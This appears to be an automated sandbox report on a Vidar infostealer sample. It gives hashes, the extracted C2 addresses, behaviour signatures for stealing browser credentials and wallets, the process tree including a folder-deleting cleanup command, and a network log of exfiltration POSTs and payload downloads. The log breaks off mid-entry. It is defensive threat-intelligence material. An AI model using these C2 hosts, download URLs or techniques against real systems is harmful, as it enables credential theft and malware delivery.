Analysis

  • max time kernel
    94s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 05:09 UTC

General

  • Target

    3493ca80cb445940439578b4535ce772ced104d2de1c2ce35f203422d325508f.exe

  • Size

    293KB

  • MD5

    849e7d206dc382c53e6b1947f55e7ada

  • SHA1

    82e990d981279f85c29e6bb0bcaff8f340685964

  • SHA256

    3493ca80cb445940439578b4535ce772ced104d2de1c2ce35f203422d325508f

  • SHA512

    4c891fe3418ea839bf7b4610a5879432d83f5aad746aef3ceb5ff5c43e3ea01f0b0fcd820078f27a464c5e664dd62bc5bd73f1fbca519679cdf085143505d908

  • SSDEEP

    6144:+L3eSCmxdvcT6WUZJp1tQf+omj06nAP2mfAFyEO:sem/YU10KjAP2BFyEO

Malware Config

Extracted

Family

vidar

C2

https://t.me/edm0d

https://steamcommunity.com/profiles/76561199768374681

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0

Signatures

  • Detect Vidar Stealer 20 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3493ca80cb445940439578b4535ce772ced104d2de1c2ce35f203422d325508f.exe
    "C:\Users\Admin\AppData\Local\Temp\3493ca80cb445940439578b4535ce772ced104d2de1c2ce35f203422d325508f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Checks computer location settings
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\ProgramData\CFBFCGIDAK.exe
        "C:\ProgramData\CFBFCGIDAK.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3920
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:1652
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1812
        • C:\ProgramData\HDAFHIDGIJ.exe
          "C:\ProgramData\HDAFHIDGIJ.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4720
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:4152
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECGDAAFIIJDA" & exit
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4500
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 10
            4⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:2440

    Network

    • flag-us
      DNS
      228.249.119.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      228.249.119.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      172.210.232.199.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      172.210.232.199.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      t.me
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      t.me
      IN A
      Response
      t.me
      IN A
      149.154.167.99
    • flag-nl
      GET
      https://t.me/edm0d
      RegAsm.exe
      Remote address:
      149.154.167.99:443
      Request
      GET /edm0d HTTP/1.1
      Host: t.me
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.18.0
      Date: Thu, 19 Sep 2024 05:10:02 GMT
      Content-Type: text/html; charset=utf-8
      Content-Length: 12285
      Connection: keep-alive
      Set-Cookie: stel_ssid=a5018599ac5dd0a0a3_4283296139062035916; expires=Fri, 20 Sep 2024 05:10:02 GMT; path=/; samesite=None; secure; HttpOnly
      Pragma: no-cache
      Cache-control: no-store
      X-Frame-Options: ALLOW-FROM https://web.telegram.org
      Content-Security-Policy: frame-ancestors https://web.telegram.org
      Strict-Transport-Security: max-age=35768000
    • flag-de
      GET
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:02 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      23.159.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      23.159.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      99.167.154.149.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      99.167.154.149.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      36.249.124.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      36.249.124.192.in-addr.arpa
      IN PTR
      Response
      36.249.124.192.in-addr.arpa
      IN PTR
      cloudproxy10036sucurinet
    • flag-us
      DNS
      195.0.202.116.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      195.0.202.116.in-addr.arpa
      IN PTR
      Response
      195.0.202.116.in-addr.arpa
      IN PTR
      static1950202116clients your-serverde
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 255
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:03 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBF
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:03 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      232.168.11.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      232.168.11.51.in-addr.arpa
      IN PTR
      Response
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:04 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 332
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:04 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 4617
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:05 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      GET
      https://116.202.0.195/sqlp.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /sqlp.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:05 GMT
      Content-Type: application/octet-stream
      Content-Length: 2459136
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:05 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFB
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 437
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:07 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 437
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:07 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      GET
      https://116.202.0.195/freebl3.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /freebl3.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:07 GMT
      Content-Type: application/octet-stream
      Content-Length: 685392
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:07 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      GET
      https://116.202.0.195/mozglue.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /mozglue.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:08 GMT
      Content-Type: application/octet-stream
      Content-Length: 608080
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:08 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      GET
      https://116.202.0.195/msvcp140.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /msvcp140.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:08 GMT
      Content-Type: application/octet-stream
      Content-Length: 450024
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:08 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      GET
      https://116.202.0.195/softokn3.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /softokn3.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:09 GMT
      Content-Type: application/octet-stream
      Content-Length: 257872
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:09 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      GET
      https://116.202.0.195/vcruntime140.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /vcruntime140.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:09 GMT
      Content-Type: application/octet-stream
      Content-Length: 80880
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:09 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      GET
      https://116.202.0.195/nss3.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /nss3.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:09 GMT
      Content-Type: application/octet-stream
      Content-Length: 2046288
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:09 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 1025
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:11 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      58.55.71.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      58.55.71.13.in-addr.arpa
      IN PTR
      Response
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBA
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:11 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:12 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 461
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:12 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 106357
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:14 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:14 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      nasionaltv.com
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      nasionaltv.com
      IN A
      Response
      nasionaltv.com
      IN A
      203.175.9.144
    • flag-id
      GET
      https://nasionaltv.com/ldfnsa.exe
      RegAsm.exe
      Remote address:
      203.175.9.144:443
      Request
      GET /ldfnsa.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: nasionaltv.com
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 19 Sep 2024 05:10:14 GMT
      Server: Apache
      Upgrade: h2,h2c
      Connection: Upgrade
      Last-Modified: Thu, 19 Sep 2024 04:32:52 GMT
      Accept-Ranges: bytes
      Content-Length: 363936
      Vary: Accept-Encoding
      Content-Type: application/x-msdownload
    • flag-id
      GET
      https://nasionaltv.com/vfdshf.exe
      RegAsm.exe
      Remote address:
      203.175.9.144:443
      Request
      GET /vfdshf.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: nasionaltv.com
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 19 Sep 2024 05:10:19 GMT
      Server: Apache
      Last-Modified: Thu, 19 Sep 2024 04:32:46 GMT
      Accept-Ranges: bytes
      Content-Length: 300448
      Vary: Accept-Encoding
      Content-Type: application/x-msdownload
    • flag-us
      DNS
      r10.o.lencr.org
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      r10.o.lencr.org
      IN A
      Response
      r10.o.lencr.org
      IN CNAME
      o.lencr.edgesuite.net
      o.lencr.edgesuite.net
      IN CNAME
      a1887.dscq.akamai.net
      a1887.dscq.akamai.net
      IN A
      173.222.211.9
      a1887.dscq.akamai.net
      IN A
      173.222.211.43
    • flag-gb
      GET
      http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgRsr0%2BS3EwOUB4TVRZf2dOszg%3D%3D
      RegAsm.exe
      Remote address:
      173.222.211.9:80
      Request
      GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgRsr0%2BS3EwOUB4TVRZf2dOszg%3D%3D HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Microsoft-CryptoAPI/10.0
      Host: r10.o.lencr.org
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Content-Type: application/ocsp-response
      Content-Length: 504
      ETag: "B6A65F0474D64D62801EE284C91E656EBA15773D9A5CD12587A3564C9ED6439F"
      Last-Modified: Thu, 19 Sep 2024 02:29:00 UTC
      Cache-Control: public, no-transform, must-revalidate, max-age=19473
      Expires: Thu, 19 Sep 2024 10:34:48 GMT
      Date: Thu, 19 Sep 2024 05:10:15 GMT
      Connection: keep-alive
    • flag-us
      DNS
      144.9.175.203.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      144.9.175.203.in-addr.arpa
      IN PTR
      Response
      144.9.175.203.in-addr.arpa
      IN PTR
      ambunduarumahwebnet
    • flag-us
      DNS
      168.245.100.95.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      168.245.100.95.in-addr.arpa
      IN PTR
      Response
      168.245.100.95.in-addr.arpa
      IN PTR
      a95-100-245-168deploystaticakamaitechnologiescom
    • flag-us
      DNS
      9.211.222.173.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      9.211.222.173.in-addr.arpa
      IN PTR
      Response
      9.211.222.173.in-addr.arpa
      IN PTR
      a173-222-211-9deploystaticakamaitechnologiescom
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 499
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:20 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      licenseodqwmqn.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      licenseodqwmqn.shop
      IN A
      Response
    • flag-us
      DNS
      keennylrwmqlw.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      keennylrwmqlw.shop
      IN A
      Response
    • flag-us
      DNS
      keennylrwmqlw.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      keennylrwmqlw.shop
      IN A
      Response
    • flag-us
      DNS
      keennylrwmqlw.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      keennylrwmqlw.shop
      IN A
      Response
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFID
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 499
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:22 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFH
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:23 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      tendencctywop.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      tendencctywop.shop
      IN A
      Response
    • flag-us
      DNS
      tesecuuweqo.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      tesecuuweqo.shop
      IN A
      Response
    • flag-us
      DNS
      relaxatinownio.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
